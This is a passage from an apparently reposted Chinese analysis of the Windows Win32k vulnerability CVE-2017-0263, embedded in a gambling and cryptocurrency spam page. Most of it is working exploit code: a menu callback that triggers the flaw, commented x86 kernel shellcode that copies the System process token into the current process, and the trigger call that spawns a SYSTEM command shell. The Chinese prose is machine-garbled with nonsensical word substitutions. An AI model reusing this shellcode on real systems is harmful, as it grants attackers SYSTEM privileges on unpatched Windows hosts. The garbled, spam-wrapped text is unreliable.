    DWORD         dwmsEventTime
)
{
    if (iMenuCreated == 0)
    {
        popupMenuRoot = *(DWORD *)((PBYTE)xxHMValidateHandle(hwnd) + 0xb0);
    }
    if (++iMenuCreated >= 2)
    {
        SendMessageW(hwnd, MN_ENDMENU, 0, 0);
    }
    else
    {
        SendMessageW(hwnd, WM_LBUTTONDOWN, 1, 0x00020002);
    }
}

查找需置空成员域IpszMenuName的目的窗口类工具需要与根弹出菜单工具的内核地址举行匹配,这一步我们可以在xxxWindowEventProc函数中实现。
接着组织payload,在准备事情中,我们就将xxPayloadWindProc 的代码拷贝到 SHELLCODE 工具缓冲区中。差异于用户模式的新闻处置函数,内核模式窗口工具处置函数的第一个参数是指向目的窗口tagWND的指针,其余相同。

// Arguments:
// [ebp+08h]:pwnd   = pwndWindowHunt;
// [ebp+0Ch]:msg    = 0x9F9F;
// [ebp+10h]:wParam = popupMenuRoot;
// [ebp+14h]:lParam = NULL;
// In kernel-mode, the first argument is tagWND pwnd.
static
BYTE
xxPayloadWindProc[] = {
    // Loader+0x108a:
    // Judge if the `msg` is 0x9f9f value.
    0x55,                               // push    ebp
    0x8b, 0xec,                         // mov     ebp,esp
    0x8b, 0x45, 0x0c,                   // mov     eax,dword ptr [ebp+0Ch]
    0x3d, 0x9f, 0x9f, 0x00, 0x00,       // cmp     eax,9F9Fh
    0x0f, 0x85, 0x8d, 0x00, 0x00, 0x00, // jne     Loader+0x1128
    // Loader+0x109b:
    // Judge if CS is 0x1b, which means in user-mode context.
    0x66, 0x8c, 0xc8,                   // mov     ax,cs
    0x66, 0x83, 0xf8, 0x1b,             // cmp     ax,1Bh
    0x0f, 0x84, 0x80, 0x00, 0x00, 0x00, // je      Loader+0x1128
    // Loader+0x10a8:
    // Get the address of pwndWindowHunt to ECX.
    // Recover the flags of pwndWindowHunt: zero bServerSideWindowProc.
    // Get the address of pvShellCode to EDX by CALL-POP.
    // Get the address of pvShellCode->tagCLS[0x100] to ESI.
    // Get the address of popupMenuRoot to EDI.
    0xfc,                               // cld
    0x8b, 0x4d, 0x08,                   // mov     ecx,dword ptr [ebp+8]
    0xff, 0x41, 0x16,                   // inc     dword ptr [ecx+16h]
    0x60,                               // pushad
    0xe8, 0x00, 0x00, 0x00, 0x00,       // call    $5
    0x5a,                               // pop     edx
    0x81, 0xea, 0x43, 0x04, 0x00, 0x00, // sub     edx,443h
    0xbb, 0x00, 0x01, 0x00, 0x00,       // mov     ebx,100h
    0x8d, 0x72, 0x18,                   // lea     esi,[edx+18h]
    0x8b, 0x7d, 0x10,                   // mov     edi,dword ptr [ebp+10h]
    // Loader+0x10c7:
    0x85, 0xdb,                         // test    ebx,ebx
    0x74, 0x13,                         // je      Loader+0x10de
    // Loader+0x10cb:
    // Judge if pvShellCode->tagCLS[ebx] == NULL
    0xad,                               // lods    dword ptr [esi]
    0x4b,                               // dec     ebx
    0x83, 0xf8, 0x00,                   // cmp     eax,0
    0x74, 0xf5,                         // je      Loader+0x10c7
    // Loader+0x10d2:
    // Judge if tagCLS->lpszMenuName == popupMenuRoot
    0x03, 0x42, 0x08,                   // add     eax,dword ptr [edx+8]
    0x39, 0x38,                         // cmp     dword ptr [eax],edi
    0x75, 0xee,                         // jne     Loader+0x10c7
    // Loader+0x10d9:
    // Zero tagCLS->lpszMenuName
    0x83, 0x20, 0x00,                   // and     dword ptr [eax],0
    0xeb, 0xe9,                         // jmp     Loader+0x10c7
    // Loader+0x10de:
    // Get the value of pwndWindowHunt->head.pti->ppi->Process to ECX.
    // Get the value of pvShellCode->pid to EAX.
    0x8b, 0x49, 0x08,                   // mov     ecx,dword ptr [ecx+8]
    0x8b, 0x5a, 0x0c,                   // mov     ebx,dword ptr [edx+0Ch]
    0x8b, 0x0c, 0x0b,                   // mov     ecx,dword ptr [ebx+ecx]
    0x8b, 0x09,                         // mov     ecx,dword ptr [ecx]
    0x8b, 0x5a, 0x10,                   // mov     ebx,dword ptr [edx+10h]
    0x8b, 0x42, 0x04,                   // mov     eax,dword ptr [edx+4]
    0x51,                               // push    ecx
    // Loader+0x10f0:
    // Judge if EPROCESS->UniqueId == pid.
    0x39, 0x44, 0x0b, 0xfc,             // cmp     dword ptr [ebx+ecx-4],eax
    0x74, 0x07,                         // je      Loader+0x10fd
    // Loader+0x10f6:
    // Get next EPROCESS to ECX by ActiveLink.
    0x8b, 0x0c, 0x0b,                   // mov     ecx,dword ptr [ebx+ecx]
    0x2b, 0xcb,                         // sub     ecx,ebx
    0xeb, 0xf3,                         // jmp     Loader+0x10f0
    // Loader+0x10fd:
    // Get current EPROCESS to EDI.
    0x8b, 0xf9,                         // mov     edi,ecx
    0x59,                               // pop     ecx
    // Loader+0x1100:
    // Judge if EPROCESS->UniqueId == 4
    0x83, 0x7c, 0x0b, 0xfc, 0x04,       // cmp     dword ptr [ebx+ecx-4],4
    0x74, 0x07,                         // je      Loader+0x110e
    // Loader+0x1107:
    // Get next EPROCESS to ECX by ActiveLink.
    0x8b, 0x0c, 0x0b,                   // mov     ecx,dword ptr [ebx+ecx]
    0x2b, 0xcb,                         // sub     ecx,ebx
    0xeb, 0xf2,                         // jmp     Loader+0x1100
    // Loader+0x110e:
    // Get system EPROCESS to ESI.
    // Get the value of system EPROCESS->Token to current EPROCESS->Token.
    // Add 2 to OBJECT_HEADER->PointerCount of system Token.
    // Return 0x9F9F to the caller.
    0x8b, 0xf1,                         // mov     esi,ecx
    0x8b, 0x42, 0x14,                   // mov     eax,dword ptr [edx+14h]
    0x03, 0xf0,                         // add     esi,eax
    0x03, 0xf8,                         // add     edi,eax
    0xad,                               // lods    dword ptr [esi]
    0xab,                               // stos    dword ptr es:[edi]
    0x83, 0xe0, 0xf8,                   // and     eax,0FFFFFFF8h
    0x83, 0x40, 0xe8, 0x02,             // add     dword ptr [eax-18h],2
    0x61,                               // popad
    0xb8, 0x9f, 0x9f, 0x00, 0x00,       // mov     eax,9F9Fh
    0xeb, 0x05,                         // jmp     Loader+0x112d
    // Loader+0x1128:
    // Failed in processing.
    0xb8, 0x01, 0x00, 0x00, 0x00,       // mov     eax,1
    // Loader+0x112d:
    0xc9,                               // leave
    0xc2, 0x10, 0x00,                   // ret     10h
};
  1. 判断传入的新闻是否为0x9F9F。
  2. 将匹配到的 tagCLS 工具的成员域 lpszMenuName 置空。
  3. 当前历程和 System 历程的历程体工具地址,并修改当前历程的Token为System历程的Token。
  4. 恢复前面备份的通用寄存器的数值到寄存器中,并赋值返回值为 0x9F9F 作为向挪用者的反馈信息。
LRESULT Triggered = SendMessageW(hWindowHunt, 0x9F9F, popupMenuRoot, 0);
bDoneExploit = Triggered == 0x9F9F;

SHELLCODE已经部署好了,接下来在自界说阴影窗口新闻处置函数中挪用系统服务 NtUserMNDragLeave 而且对载体窗口工具发送自界说提权新闻 0x9F9F 的挪用语句,返回效果保留在bDoneExploit中。这样,若是主线程监听到bDoneExploit被乐成赋值的话就确立新的CMD。

Allbet Gaming声明:该文看法仅代表作者自己,与www.allbetgame.us无关。转载请注明:买usdt有没有手续费(www.caibao.it):CVE-2017-0263 Win32k破绽剖析条记
发布评论

分享到:

怎么充值usdt(www.caibao.it):国际金价三连阳,短线上看1762美元,投资者守候一指引
你是第一个吃螃蟹的人
发表评论

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。